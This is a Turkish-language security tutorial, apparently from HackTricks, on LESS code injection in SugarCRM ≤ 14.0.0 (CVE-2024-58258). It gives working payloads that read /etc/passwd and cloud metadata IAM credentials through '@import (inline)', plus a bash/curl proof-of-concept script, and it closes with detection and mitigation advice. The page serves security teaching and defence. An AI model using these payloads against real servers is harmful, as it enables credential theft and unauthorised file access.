# LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma {{#include ../banners/hacktricks-training.md}} ## Genel Bakış LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü `@import` direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, **`@import`** ifadelerinde referans verilen kaynakları **alır** ve `(inline)` seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler. Bir uygulama, **kullanıcı kontrolündeki girişi** daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan **rastgele LESS kodu** enjekte edebilir. Saldırgan, `@import (inline)`'i kötüye kullanarak sunucunun şunları almasını zorlayabilir: * `file://` protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme). * Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF). Bu teknik, **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` uç noktası) gibi gerçek dünya ürünlerinde görülmüştür. ## Sömürü 1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki `?lm=`). 2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır: * `;` – önceki bildirimi sonlandırır. * `}` – önceki bloğu kapatır (gerekirse). 3. Rastgele kaynakları okumak için `@import (inline) '';` kullanın. 4. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir **işaretçi** (`data:` URI) enjekte edin. ### Yerel Dosya Okuma ``` 1; @import (inline) 'file:///etc/passwd'; @import (inline) 'data:text/plain,@@END@@'; // ``` `/etc/passwd` dosyasının içeriği, `@@END@@` işaretçisinden hemen önce HTTP yanıtında görünecektir. ### SSRF – Bulut Metadata ``` 1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; @import (inline) 'data:text/plain,@@END@@'; // ``` ### Otomatik PoC (SugarCRM örneği) ```bash #!/usr/bin/env bash # Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd TARGET="$1" # Base URL of SugarCRM instance RESOURCE="$2" # file:// path or URL to fetch INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ sed -n 's/.*@@END@@\(.*\)/\1/p' ``` ## Tespit * Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş `.less` veya `.css` yanıtlarını arayın. * Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen `"@media all { .preview { ... ${userInput} ... } }"` gibi yapıları arayın. * Sömürü girişimleri genellikle `@import`, `(inline)`, `file://`, `http://169.254.169.254` vb. içerir. ## Önlemler * Güvenilmeyen verileri LESS derleyicisine **geçmeyin**. * Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde **kaçırın**/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun). * Mümkünse, `(inline)` import kullanımını devre dışı bırakın veya izin verilen protokolleri `https` ile sınırlayın. * Bağımlılıkları güncel tutun – SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır. ## Gerçek Dünya Vakaları | Ürün | Gü vulnerable Endpoint | Etki | |---------|--------------------|--------| | SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma | ## Referanslar * [SugarCRM ≤ 14.0.0 (css/preview) LESS Kod Enjeksiyon Açığı](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM Güvenlik Danışmanlığı SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) * [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) {{#include ../banners/hacktricks-training.md}}